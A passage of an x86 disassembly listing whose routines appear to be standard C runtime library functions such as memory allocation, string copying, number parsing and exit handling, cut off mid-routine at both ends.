sub_41B4A2+7j push eax push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41F32D add esp, 10h retn sub_41B4A2 endp ; =============== S U B R O U T I N E ======================================= sub_41B4C2 proc near ; CODE XREF: sub_4010AB+18p ; sub_401ACD+58AEp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_41B4A2 add esp, 0Ch retn sub_41B4C2 endp ; =============== S U B R O U T I N E ======================================= sub_41B4D5 proc near ; CODE XREF: sub_4010AB+6p ; sub_40AB31+63p ... arg_0 = dword ptr 4 push dword_4DB2FC push [esp+4+arg_0] call sub_41B4E7 pop ecx pop ecx retn sub_41B4D5 endp ; =============== S U B R O U T I N E ======================================= sub_41B4E7 proc near ; CODE XREF: sub_41B4D5+Ap ; sub_41CFC5+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_41B510 loc_41B4EE: ; CODE XREF: sub_41B4E7+27j push [esp+arg_0] call sub_41B513 test eax, eax pop ecx jnz short locret_41B512 cmp [esp+arg_4], eax jz short locret_41B512 push [esp+arg_0] call sub_41F312 test eax, eax pop ecx jnz short loc_41B4EE loc_41B510: ; CODE XREF: sub_41B4E7+5j xor eax, eax locret_41B512: ; CODE XREF: sub_41B4E7+13j ; sub_41B4E7+19j retn sub_41B4E7 endp ; =============== S U B R O U T I N E ======================================= sub_41B513 proc near ; CODE XREF: sub_41B4E7+Bp arg_0 = dword ptr 4 mov eax, dword_4DC908 push esi mov esi, [esp+4+arg_0] cmp eax, 3 jnz short loc_41B537 cmp esi, dword_4DC900 ja short loc_41B569 push esi call sub_41E1CB test eax, eax pop ecx jz short loc_41B569 pop esi retn ; --------------------------------------------------------------------------- loc_41B537: ; CODE XREF: sub_41B513+Dj cmp eax, 2 jnz short loc_41B569 mov eax, [esp+4+arg_0] test eax, eax jz short loc_41B54C lea esi, [eax+0Fh] and esi, 0FFFFFFF0h jmp short loc_41B54F ; --------------------------------------------------------------------------- loc_41B54C: ; CODE XREF: sub_41B513+2Fj push 10h pop esi loc_41B54F: ; CODE XREF: sub_41B513+37j cmp esi, dword_43C2F4 ja short loc_41B576 mov eax, esi shr eax, 4 push eax call sub_41EC6E test eax, eax pop ecx jnz short loc_41B585 jmp short loc_41B576 ; --------------------------------------------------------------------------- loc_41B569: ; CODE XREF: sub_41B513+15j ; sub_41B513+20j ... test esi, esi jnz short loc_41B570 push 1 pop esi loc_41B570: ; CODE XREF: sub_41B513+58j add esi, 0Fh and esi, 0FFFFFFF0h loc_41B576: ; CODE XREF: sub_41B513+42j ; sub_41B513+54j push esi push 0 push dword_4DC904 call near ptr 2780000h nop loc_41B585: ; CODE XREF: sub_41B513+52j pop esi retn sub_41B513 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B590 proc near ; CODE XREF: sub_40111D+3Cp ; sub_40111D+4Ap ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_41B5E3 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_41B5D7 neg ecx and ecx, 3 jz short loc_41B5B9 sub edx, ecx loc_41B5B3: ; CODE XREF: sub_41B590+27j mov [edi], al inc edi dec ecx jnz short loc_41B5B3 loc_41B5B9: ; CODE XREF: sub_41B590+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_41B5D7 rep stosd test edx, edx jz short loc_41B5DD loc_41B5D7: ; CODE XREF: sub_41B590+18j ; sub_41B590+3Fj ... mov [edi], al inc edi dec edx jnz short loc_41B5D7 loc_41B5DD: ; CODE XREF: sub_41B590+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41B5E3: ; CODE XREF: sub_41B590+Aj mov eax, [esp+arg_0] retn sub_41B590 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B5F0 proc near ; CODE XREF: ___:004016C0p ; ___:004016DCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_41B673 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_41B614 shr ecx, 2 jnz short loc_41B681 jmp short loc_41B635 ; --------------------------------------------------------------------------- loc_41B614: ; CODE XREF: sub_41B5F0+1Bj ; sub_41B5F0+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_41B642 test al, al jz short loc_41B64A test esi, 3 jnz short loc_41B614 mov ebx, ecx shr ecx, 2 jnz short loc_41B681 loc_41B630: ; CODE XREF: sub_41B5F0+8Fj and ebx, 3 jz short loc_41B642 loc_41B635: ; CODE XREF: sub_41B5F0+22j ; sub_41B5F0+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_41B66E dec ebx jnz short loc_41B635 loc_41B642: ; CODE XREF: sub_41B5F0+2Bj ; sub_41B5F0+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41B64A: ; CODE XREF: sub_41B5F0+2Fj test edi, 3 jz short loc_41B664 loc_41B652: ; CODE XREF: sub_41B5F0+72j mov [edi], al inc edi dec ecx jz loc_41B6E6 test edi, 3 jnz short loc_41B652 loc_41B664: ; CODE XREF: sub_41B5F0+60j mov ebx, ecx shr ecx, 2 jnz short loc_41B6D7 loc_41B66B: ; CODE XREF: sub_41B5F0+7Fj ; sub_41B5F0+F4j mov [edi], al inc edi loc_41B66E: ; CODE XREF: sub_41B5F0+4Dj dec ebx jnz short loc_41B66B pop ebx pop esi loc_41B673: ; CODE XREF: sub_41B5F0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41B679: ; CODE XREF: sub_41B5F0+A9j ; sub_41B5F0+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_41B630 loc_41B681: ; CODE XREF: sub_41B5F0+20j ; sub_41B5F0+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41B679 test dl, dl jz short loc_41B6CB test dh, dh jz short loc_41B6C1 test edx, 0FF0000h jz short loc_41B6B7 test edx, 0FF000000h jnz short loc_41B679 mov [edi], edx jmp short loc_41B6CF ; --------------------------------------------------------------------------- loc_41B6B7: ; CODE XREF: sub_41B5F0+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_41B6CF ; --------------------------------------------------------------------------- loc_41B6C1: ; CODE XREF: sub_41B5F0+B1j and edx, 0FFh mov [edi], edx jmp short loc_41B6CF ; --------------------------------------------------------------------------- loc_41B6CB: ; CODE XREF: sub_41B5F0+ADj xor edx, edx mov [edi], edx loc_41B6CF: ; CODE XREF: sub_41B5F0+C5j ; sub_41B5F0+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_41B6E1 loc_41B6D7: ; CODE XREF: sub_41B5F0+79j xor eax, eax loc_41B6D9: ; CODE XREF: sub_41B5F0+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_41B6D9 loc_41B6E1: ; CODE XREF: sub_41B5F0+E5j and ebx, 3 jnz short loc_41B66B loc_41B6E6: ; CODE XREF: sub_41B5F0+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41B5F0 endp ; =============== S U B R O U T I N E ======================================= sub_41B6EE proc near ; CODE XREF: sub_41B779+4p ; sub_4247EC+1A2p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_41B6F6: ; CODE XREF: sub_41B6EE+34j cmp dword_43C504, 1 jle short loc_41B70E movzx eax, byte ptr [edi] push 8 push eax call sub_41F515 pop ecx pop ecx jmp short loc_41B71D ; --------------------------------------------------------------------------- loc_41B70E: ; CODE XREF: sub_41B6EE+Fj movzx eax, byte ptr [edi] mov ecx, off_43C2F8 mov al, [ecx+eax*2] and eax, 8 loc_41B71D: ; CODE XREF: sub_41B6EE+1Ej test eax, eax jz short loc_41B724 inc edi jmp short loc_41B6F6 ; --------------------------------------------------------------------------- loc_41B724: ; CODE XREF: sub_41B6EE+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_41B734 cmp esi, 2Bh jnz short loc_41B738 loc_41B734: ; CODE XREF: sub_41B6EE+3Fj movzx esi, byte ptr [edi] inc edi loc_41B738: ; CODE XREF: sub_41B6EE+44j xor ebx, ebx loc_41B73A: ; CODE XREF: sub_41B6EE+7Bj cmp dword_43C504, 1 jle short loc_41B74F push 4 push esi call sub_41F515 pop ecx pop ecx jmp short loc_41B75A ; --------------------------------------------------------------------------- loc_41B74F: ; CODE XREF: sub_41B6EE+53j mov eax, off_43C2F8 mov al, [eax+esi*2] and eax, 4 loc_41B75A: ; CODE XREF: sub_41B6EE+5Fj test eax, eax jz short loc_41B76B lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_41B73A ; --------------------------------------------------------------------------- loc_41B76B: ; CODE XREF: sub_41B6EE+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_41B774 neg eax loc_41B774: ; CODE XREF: sub_41B6EE+82j pop edi pop esi pop ebp pop ebx retn sub_41B6EE endp ; =============== S U B R O U T I N E ======================================= sub_41B779 proc near ; CODE XREF: ___:00401527p ; sub_401ACD+733p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41B6EE pop ecx retn sub_41B779 endp ; --------------------------------------------------------------------------- mov eax, off_43A29C test eax, eax jz short loc_41B78F call eax ; sub_41C748 loc_41B78F: ; CODE XREF: ___:0041B78Bj push offset dword_42902C push offset dword_429018 call sub_41B86C push offset dword_429014 push offset dword_429000 call sub_41B86C add esp, 10h retn ; --------------------------------------------------------------------------- push 0 push 0 push dword ptr [esp+0Ch] call sub_41B7D3 add esp, 0Ch retn ; =============== S U B R O U T I N E ======================================= sub_41B7C2 proc near ; CODE XREF: sub_41DA29+1Cp ; sub_42255C+2276p ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_41B7D3 add esp, 0Ch retn sub_41B7C2 endp ; =============== S U B R O U T I N E ======================================= sub_41B7D3 proc near ; CODE XREF: ___:0041B7B9p ; sub_41B7C2+8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi push 1 pop edi cmp dword_4DB2C0, edi jnz short loc_41B7F0 push [esp+4+arg_0] call near ptr 26F05C9h nop push eax nop call near ptr 26E0B5Bh loc_41B7F0: ; CODE XREF: sub_41B7D3+Aj cmp [esp+4+arg_4], 0 push ebx mov ebx, [esp+8+arg_8] mov dword_4DB2BC, edi mov byte_4DB2B8, bl jnz short loc_41B844 mov eax, dword_4DC91C test eax, eax jz short loc_41B833 mov ecx, dword_4DC918 push esi lea esi, [ecx-4] cmp esi, eax jb short loc_41B832 loc_41B81F: ; CODE XREF: sub_41B7D3+5Dj mov eax, [esi] test eax, eax jz short loc_41B827 call eax loc_41B827: ; CODE XREF: sub_41B7D3+50j sub esi, 4 cmp esi, dword_4DC91C jnb short loc_41B81F loc_41B832: ; CODE XREF: sub_41B7D3+4Aj pop esi loc_41B833: ; CODE XREF: sub_41B7D3+3Cj push offset dword_429038 push offset dword_429030 call sub_41B86C pop ecx pop ecx loc_41B844: ; CODE XREF: sub_41B7D3+33j push offset dword_429044 push offset dword_42903C call sub_41B86C pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_41B86A push [esp+4+arg_0] mov dword_4DB2C0, edi call near ptr 77E75CB5h nop loc_41B86A: ; CODE XREF: sub_41B7D3+85j pop edi retn sub_41B7D3 endp ; =============== S U B R O U T I N E ======================================= sub_41B86C proc near ; CODE XREF: ___:0041B799p ; ___:0041B7A8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_41B871: ; CODE XREF: sub_41B86C+16j cmp esi, [esp+4+arg_4] jnb short loc_41B884 mov eax, [esi] test eax, eax jz short loc_41B87F call eax loc_41B87F: ; CODE XREF: sub_41B86C+Fj add esi, 4 jmp short loc_41B871 ; --------------------------------------------------------------------------- loc_41B884: ; CODE XREF: sub_41B86C+9j pop esi retn sub_41B86C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B886 proc near ; CODE XREF: ___:004013B0p ; ___:004014B6p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] mov [ebp+var_14], 42h push eax lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 7FFFFFFFh push eax call sub_41F69F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41B8C6 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41B8D3 ; --------------------------------------------------------------------------- loc_41B8C6: ; CODE XREF: sub_41B886+36j lea eax, [ebp+var_20] push eax push 0 call sub_41F58A pop ecx pop ecx loc_41B8D3: ; CODE XREF: sub_41B886+3Ej mov eax, esi pop esi leave retn sub_41B886 endp ; =============== S U B R O U T I N E ======================================= sub_41B8D8 proc near ; CODE XREF: ___:00401266p ; sub_401ACD+31A2p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_43A280, eax retn sub_41B8D8 endp ; =============== S U B R O U T I N E ======================================= sub_41B8E2 proc near ; CODE XREF: ___:loc_401379p ; ___:loc_4016A7p ... mov eax, dword_43A280 imul eax, 343FDh add eax, 269EC3h mov dword_43A280, eax sar eax, 10h and eax, 7FFFh retn sub_41B8E2 endp ; =============== S U B R O U T I N E ======================================= sub_41B900 proc near ; CODE XREF: ___:0040134Ep ; sub_401ACD+8Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_41B97A mov dh, [ecx+1] test dh, dh jz short loc_41B967 loc_41B918: ; CODE XREF: sub_41B900+52j ; sub_41B900+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_41B93A test al, al jz short loc_41B934 loc_41B929: ; CODE XREF: sub_41B900+32j mov al, [esi] inc esi loc_41B92C: ; CODE XREF: sub_41B900+3Fj cmp al, dl jz short loc_41B93A test al, al jnz short loc_41B929 loc_41B934: ; CODE XREF: sub_41B900+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_41B93A: ; CODE XREF: sub_41B900+23j ; sub_41B900+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_41B92C lea edi, [esi-1] loc_41B944: ; CODE XREF: sub_41B900+63j mov ah, [ecx+2] test ah, ah jz short loc_41B973 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_41B918 mov al, [ecx+3] test al, al jz short loc_41B973 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_41B944 jmp short loc_41B918 ; --------------------------------------------------------------------------- loc_41B967: ; CODE XREF: sub_41B900+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_41BFB6 ; --------------------------------------------------------------------------- loc_41B973: ; CODE XREF: sub_41B900+49j ; sub_41B900+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_41B97A: ; CODE XREF: sub_41B900+Fj mov eax, edi pop esi pop ebx pop edi retn sub_41B900 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B980 proc near ; CODE XREF: ___:0040133Bp ; sub_401ACD+1C72p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_14], 42h mov [ebp+var_1C], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_20] push [ebp+arg_8] push eax call sub_41F69F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41B9BF mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41B9CC ; --------------------------------------------------------------------------- loc_41B9BF: ; CODE XREF: sub_41B980+35j lea eax, [ebp+var_20] push eax push 0 call sub_41F58A pop ecx pop ecx loc_41B9CC: ; CODE XREF: sub_41B980+3Dj mov eax, esi pop esi leave retn sub_41B980 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B9D1 proc near ; CODE XREF: ___:00401318p ; sub_401ACD+21D1p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_41AFE0 cmp eax, 1 pop ecx jb short loc_41BA0C cmp byte ptr [ebx+1], 3Ah jnz short loc_41BA0C mov esi, [ebp+arg_4] test esi, esi jz short loc_41BA08 push 2 push ebx push esi call sub_420289 add esp, 0Ch and byte ptr [esi+2], 0 loc_41BA08: ; CODE XREF: sub_41B9D1+25j inc ebx inc ebx jmp short loc_41BA16 ; --------------------------------------------------------------------------- loc_41BA0C: ; CODE XREF: sub_41B9D1+18j ; sub_41B9D1+1Ej mov eax, [ebp+arg_4] test eax, eax jz short loc_41BA16 and byte ptr [eax], 0 loc_41BA16: ; CODE XREF: sub_41B9D1+39j ; sub_41B9D1+40j and [ebp+arg_4], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov esi, 0FFh mov [ebp+arg_0], eax jz short loc_41BA8E loc_41BA29: ; CODE XREF: sub_41B9D1+87j mov cl, [eax] movzx edx, cl test byte_4DC7E1[edx], 4 jz short loc_41BA3A inc eax jmp short loc_41BA54 ; --------------------------------------------------------------------------- loc_41BA3A: ; CODE XREF: sub_41B9D1+64j cmp cl, 2Fh jz short loc_41BA4E cmp cl, 5Ch jz short loc_41BA4E cmp cl, 2Eh jnz short loc_41BA54 mov [ebp+var_4], eax jmp short loc_41BA54 ; --------------------------------------------------------------------------- loc_41BA4E: ; CODE XREF: sub_41B9D1+6Cj ; sub_41B9D1+71j lea ecx, [eax+1] mov [ebp+arg_4], ecx loc_41BA54: ; CODE XREF: sub_41B9D1+67j ; sub_41B9D1+76j ... inc eax cmp byte ptr [eax], 0 jnz short loc_41BA29 mov edi, [ebp+arg_4] mov [ebp+arg_0], eax test edi, edi jz short loc_41BA8E cmp [ebp+arg_8], 0 jz short loc_41BA89 sub edi, ebx cmp edi, esi jb short loc_41BA72 mov edi, esi loc_41BA72: ; CODE XREF: sub_41B9D1+9Dj push edi push ebx push [ebp+arg_8] call sub_420289 mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41BA89: ; CODE XREF: sub_41B9D1+97j mov ebx, [ebp+arg_4] jmp short loc_41BA98 ; --------------------------------------------------------------------------- loc_41BA8E: ; CODE XREF: sub_41B9D1+56j ; sub_41B9D1+91j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_41BA98 and byte ptr [ecx], 0 loc_41BA98: ; CODE XREF: sub_41B9D1+BBj ; sub_41B9D1+C2j mov edi, [ebp+var_4] test edi, edi jz short loc_41BAEB cmp edi, ebx jb short loc_41BAEB cmp [ebp+arg_C], 0 jz short loc_41BAC8 sub edi, ebx cmp edi, esi jb short loc_41BAB1 mov edi, esi loc_41BAB1: ; CODE XREF: sub_41B9D1+DCj push edi push ebx push [ebp+arg_C] call sub_420289 mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41BAC8: ; CODE XREF: sub_41B9D1+D6j mov edi, [ebp+arg_10] test edi, edi jz short loc_41BB13 sub eax, [ebp+var_4] cmp eax, esi jnb short loc_41BAD8 mov esi, eax loc_41BAD8: ; CODE XREF: sub_41B9D1+103j push esi push [ebp+var_4] push edi call sub_420289 add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_41BB13 ; --------------------------------------------------------------------------- loc_41BAEB: ; CODE XREF: sub_41B9D1+CCj ; sub_41B9D1+D0j mov edi, [ebp+arg_C] test edi, edi jz short loc_41BB09 sub eax, ebx cmp eax, esi jnb short loc_41BAFA mov esi, eax loc_41BAFA: ; CODE XREF: sub_41B9D1+125j push esi push ebx push edi call sub_420289 add esp, 0Ch and byte ptr [esi+edi], 0 loc_41BB09: ; CODE XREF: sub_41B9D1+11Fj mov eax, [ebp+arg_10] test eax, eax jz short loc_41BB13 and byte ptr [eax], 0 loc_41BB13: ; CODE XREF: sub_41B9D1+FCj ; sub_41B9D1+118j ... pop edi pop esi pop ebx leave retn sub_41B9D1 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BB20 proc near ; CODE XREF: sub_401955+8p ; sub_401ACD+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_41BB40 loc_41BB2C: ; CODE XREF: sub_41BB20+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_41BB2C loc_41BB40: ; CODE XREF: sub_41BB20+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_41BB20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BB4F proc near ; CODE XREF: sub_401ACD+757Ep ; sub_401ACD+75ADp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx mov ebx, [ebp+arg_0] push edi mov edi, ebx jg short loc_41BB63 xor eax, eax jmp short loc_41BB99 ; --------------------------------------------------------------------------- loc_41BB63: ; CODE XREF: sub_41BB4F+Ej dec [ebp+arg_4] push esi jz short loc_41BB93 mov esi, [ebp+arg_8] loc_41BB6C: ; CODE XREF: sub_41BB4F+42j dec dword ptr [esi+4] js short loc_41BB7B mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_41BB82 ; --------------------------------------------------------------------------- loc_41BB7B: ; CODE XREF: sub_41BB4F+20j push esi call sub_41F043 pop ecx loc_41BB82: ; CODE XREF: sub_41BB4F+2Aj cmp eax, 0FFFFFFFFh jz short loc_41BB9D mov [edi], al inc edi cmp al, 0Ah jz short loc_41BB93 dec [ebp+arg_4] jnz short loc_41BB6C loc_41BB93: ; CODE XREF: sub_41BB4F+18j ; sub_41BB4F+3Dj ... and byte ptr [edi], 0 loc_41BB96: ; CODE XREF: sub_41BB4F+55j mov eax, ebx pop esi loc_41BB99: ; CODE XREF: sub_41BB4F+12j pop edi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41BB9D: ; CODE XREF: sub_41BB4F+36j cmp edi, [ebp+arg_0] jnz short loc_41BB93 xor ebx, ebx jmp short loc_41BB96 sub_41BB4F endp ; =============== S U B R O U T I N E ======================================= sub_41BBA6 proc near ; CODE XREF: ___:0041DDA5p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41BBBD add esp, 10h retn sub_41BBA6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BBBD proc near ; CODE XREF: sub_41BBA6+Ep ; sub_41BDC5+Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx and [ebp+var_8], 0 push esi push edi mov edi, [ebp+arg_0] mov bl, [edi] lea esi, [edi+1] mov [ebp+var_4], esi loc_41BBD5: ; CODE XREF: sub_41BBBD+46j cmp dword_43C504, 1 jle short loc_41BBED movzx eax, bl push 8 push eax call sub_41F515 pop ecx pop ecx jmp short loc_41BBFC ; --------------------------------------------------------------------------- loc_41BBED: ; CODE XREF: sub_41BBBD+1Fj mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, 8 loc_41BBFC: ; CODE XREF: sub_41BBBD+2Ej test eax, eax jz short loc_41BC05 mov bl, [esi] inc esi jmp short loc_41BBD5 ; --------------------------------------------------------------------------- loc_41BC05: ; CODE XREF: sub_41BBBD+41j cmp bl, 2Dh mov [ebp+var_4], esi jnz short loc_41BC13 or [ebp+arg_C], 2 jmp short loc_41BC18 ; --------------------------------------------------------------------------- loc_41BC13: ; CODE XREF: sub_41BBBD+4Ej cmp bl, 2Bh jnz short loc_41BC1E loc_41BC18: ; CODE XREF: sub_41BBBD+54j mov bl, [esi] inc esi mov [ebp+var_4], esi loc_41BC1E: ; CODE XREF: sub_41BBBD+59j mov eax, [ebp+arg_8] test eax, eax jl loc_41BDB5 cmp eax, 1 jz loc_41BDB5 cmp eax, 24h jg loc_41BDB5 push 10h test eax, eax pop ecx jnz short loc_41BC66 cmp bl, 30h jz short loc_41BC50 mov [ebp+arg_8], 0Ah jmp short loc_41BC82 ; --------------------------------------------------------------------------- loc_41BC50: ; CODE XREF: sub_41BBBD+88j mov al, [esi] cmp al, 78h jz short loc_41BC63 cmp al, 58h jz short loc_41BC63 mov [ebp+arg_8], 8 jmp short loc_41BC82 ; --------------------------------------------------------------------------- loc_41BC63: ; CODE XREF: sub_41BBBD+97j ; sub_41BBBD+9Bj mov [ebp+arg_8], ecx loc_41BC66: ; CODE XREF: sub_41BBBD+83j cmp [ebp+arg_8], ecx jnz short loc_41BC82 cmp bl, 30h jnz short loc_41BC82 mov al, [esi] cmp al, 78h jz short loc_41BC7A cmp al, 58h jnz short loc_41BC82 loc_41BC7A: ; CODE XREF: sub_41BBBD+B7j mov bl, [esi+1] inc esi inc esi mov [ebp+var_4], esi loc_41BC82: ; CODE XREF: sub_41BBBD+91j ; sub_41BBBD+A4j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov edi, 103h mov [ebp+var_C], eax loc_41BC92: ; CODE XREF: sub_41BBBD+16Cj cmp dword_43C504, 1 movzx esi, bl jle short loc_41BCAA push 4 push esi call sub_41F515 pop ecx pop ecx jmp short loc_41BCB5 ; --------------------------------------------------------------------------- loc_41BCAA: ; CODE XREF: sub_41BBBD+DFj mov eax, off_43C2F8 mov al, [eax+esi*2] and eax, 4 loc_41BCB5: ; CODE XREF: sub_41BBBD+EBj test eax, eax jz short loc_41BCC1 movsx ecx, bl sub ecx, 30h jmp short loc_41BCF3 ; --------------------------------------------------------------------------- loc_41BCC1: ; CODE XREF: sub_41BBBD+FAj cmp dword_43C504, 1 jle short loc_41BCD5 push edi push esi call sub_41F515 pop ecx pop ecx jmp short loc_41BCE0 ; --------------------------------------------------------------------------- loc_41BCD5: ; CODE XREF: sub_41BBBD+10Bj mov eax, off_43C2F8 mov ax, [eax+esi*2] and eax, edi loc_41BCE0: ; CODE XREF: sub_41BBBD+116j test eax, eax jz short loc_41BD2E movsx eax, bl push eax call sub_420313 pop ecx mov ecx, eax sub ecx, 37h loc_41BCF3: ; CODE XREF: sub_41BBBD+102j cmp ecx, [ebp+arg_8] jnb short loc_41BD2E mov esi, [ebp+var_8] or [ebp+arg_C], 8 cmp esi, [ebp+var_C] jb short loc_41BD18 jnz short loc_41BD12 or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp ecx, edx jbe short loc_41BD18 loc_41BD12: ; CODE XREF: sub_41BBBD+147j or [ebp+arg_C], 4 jmp short loc_41BD21 ; --------------------------------------------------------------------------- loc_41BD18: ; CODE XREF: sub_41BBBD+145j ; sub_41BBBD+153j imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_8], esi loc_41BD21: ; CODE XREF: sub_41BBBD+159j mov eax, [ebp+var_4] inc [ebp+var_4] mov bl, [eax] jmp loc_41BC92 ; --------------------------------------------------------------------------- loc_41BD2E: ; CODE XREF: sub_41BBBD+125j ; sub_41BBBD+139j mov ecx, [ebp+arg_C] dec [ebp+var_4] mov edx, [ebp+arg_4] test cl, 8 jnz short loc_41BD4C test edx, edx jz short loc_41BD46 mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_41BD46: ; CODE XREF: sub_41BBBD+181j and [ebp+var_8], 0 jmp short loc_41BD99 ; --------------------------------------------------------------------------- loc_41BD4C: ; CODE XREF: sub_41BBBD+17Dj test cl, 4 mov eax, 7FFFFFFFh jnz short loc_41BD72 test cl, 1 jnz short loc_41BD99 and ecx, 2 jz short loc_41BD69 cmp [ebp+var_8], 80000000h ja short loc_41BD72 loc_41BD69: ; CODE XREF: sub_41BBBD+1A1j test ecx, ecx jnz short loc_41BD99 cmp [ebp+var_8], eax jbe short loc_41BD99 loc_41BD72: ; CODE XREF: sub_41BBBD+197j ; sub_41BBBD+1AAj test byte ptr [ebp+arg_C], 1 mov 